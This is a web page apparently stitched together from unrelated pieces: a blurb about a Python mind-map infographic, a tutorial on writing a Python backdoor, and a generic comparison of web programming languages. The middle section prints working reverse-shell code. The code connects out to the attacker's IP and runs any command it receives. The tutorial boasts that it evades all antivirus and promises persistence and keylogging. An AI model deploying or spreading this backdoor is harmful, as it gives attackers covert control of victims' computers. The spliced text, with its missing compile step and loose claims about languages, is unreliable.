A China-based developer Yusheng has created this brilliant infographic that encapsulates the entire Python 3 programming language in a single image. Python is one of the most popular programming languages and it’s a skill every programmer must possess.
Yusheng’s mind map is here for you in easily understandable format that will help you to brush up your memory.
You can find the image online on GitHub, or save it directly from below.
Today we are going to program a simple custom backdoor — a few lines of code — that totally avoids detection by every a/v out there. We’re gonna be writing this code in the Python programming language. If you don’t have the environment set up, never worry. I have another brief video/post showing you the requirements, click here to check it out.
The idea is to give you guys the power of creating your own backdoors instead of blatantly depending on crypters, third-party code (which isn’t always safe to use) and so on. In all honesty, I’m just as new to Python as most of you readers probably are — although if you check my about page, I do program in other languages — nevertheless I have faith that with a little effort we will be able to not only create a stealthier backdoor, but also add new features as well such as persistence, keylogging and maybe even a multi-threaded listener to control more than one client at a time.
Right now, this is mainly speculation and of course, the main aspect of this is not to have a shell to do bad things with it, but to learn how these protocols work in and out of Python — so yes, if you are interested in custom backdoors for another language, just drop a line.
Hopefully this tutorial will also become a series, so long as you guys — the readers — collaborate ideas to implement and help out as well to make a stealthier custom backdoor.
Here is the code used for the custom shell, just make sure to substitute anywhere with an underline for your own values, such as IP, port, etc.
#!/usr/bin/python import subprocess,socket HOST = 'Your IP Adress' PORT = 443 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.send('Hello There!') while 1: data = s.recv(1024) if data == "quit": break proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdoutput = proc.stdout.read() + proc.stderr.read() s.send(stdoutput) # loop ends here s.send('Bye now!') s.close()
You can click here and download my copy of the backdoor and netcat. [ DOWNLOAD ]
I have seen this code in a few places, such as Dave K’s blog and the book “Foundations of Python Network Programming” both listed at the end of this post in the further readings section…
As mentioned in my previous post we will be using PyInstaller to create the stand-alone executable. It comes out pretty heavy for a shell (a few megs) but hey, works mint and completely undetectable.
Here is the code used for compiling the code, again, just replace the underlined part. Oh yea, make sure you are inside the PyInstaller directory as well… and that you have your code copied to that location.
The Internet industry has revolutionized our lives. You can gain access to different services and products that you might require online. The internet industry has itself changed in the past two decades. During its initial days, it was all about having a website and HTML (Hyper-Text Mark up Language) was the primary language used for building websites. However, the internet market has transformed from simple static web-based HTML sites to sophisticated dynamic websites developed on different platforms.
Static websites are used to represent pre-defined set of information such as a company profile. Dynamic websites interact with the user and show dynamic information depending upon the inputs of the user such as online railway reservation website.
The first question that comes in every developer’s mind is to choose a programming language for the project. What programing language to learn? One must understand that every language has its limitations and the key is to choose a language depending upon your requirements. Some of these factors are:
Server platform (such as Windows or Unix-based OS)
Server software (IIS: Internet Information Services for Windows and Apache for Unix-based OS and other OS)
Budget of the project
Choice of database (SQL server, MySQL)
Here are some of the most extensively used programming languages for web application development in the current internet industry.
The Sun Microsystems developed JAVA is one of the most popular programming languages on the internet. Java is an open-source language, which means it is available free-of-cost. It can be used for developing a stand-alone program as well as individual applets used in complex websites. It uses MVC (Model View Controller) model frameworks such as Spring and Struts. It benefits from both object-oriented paradigms and functional programming characteristics. It is suitable for financial sector development, enterprise applications, and small software business.
PHP is used to signify the PHP Hypertext Processor language and it is an interpreted script language. It is best suited for server-side programming that includes repetitive server-tasks performed during the development of your website. It is an open-source language and it is compatible with both Windows and Unix-based operating systems.
It is a fast-prototyping language and it is best for developing web-based applications that require maximum functionality with minimum code. It is suited for advertising apps, media, agency, small software business, and startup business owners. Programming PHP By Rasmus Lerdorf, Kevin Tatroe, 2002 will help you learn the basics of PHP language.
Python is a dynamic language which means that the developer can write and run the code without needing a separate compiler for the purpose. It supports multiple programming paradigms such as object-oriented programming, structured programming, and even functional programming to a certain extent. It can be easily embedded into existing applications which require certain programming interface. It is extensively used as a scripting language (language supporting written programs for the special run time environment and offer automatic execution of code). It is an excellent language for scientific, academic and research level applications that require a quick-execution and accurate mathematical calculation.
Python has big open source community and many Python web frameworks are available to programmers for free.
Ruby was developed in the year 1993 by Yukihiro Matsumoto as a programming language to offer a balance of functional programming along with imperative programming. It is a dynamic programming language and supports multiple programming paradigms such as functional, imperative, and object-oriented model. It is quite similar to Python and offers a programmer friendly interface for development. It is an object-oriented language and has somewhat similar syntax like that of Python and Perl. It is an excellent choice for creative designs and small business software.
.NET is a framework developed by Microsoft in 2000 and it is used as a framework for several software and web-based applications. It is mainly a Windows based framework. It supports the Common Language Infrastructure (open specification describing executable code and suitable runtime environment for the .NET framework) and uses different CLI languages such as C#, F#, J#, Visual Basic .NET along with numerous other languages. It is an excellent framework for enterprise solutions and applications developed for the financial sector. Microsoft online repository is the best place to learn this language.
It is important to understand that no language is perfect in itself and it is best to consider your requirements and choose a program accordingly. You should reevaluate your programming requirements before choosing a language for your project.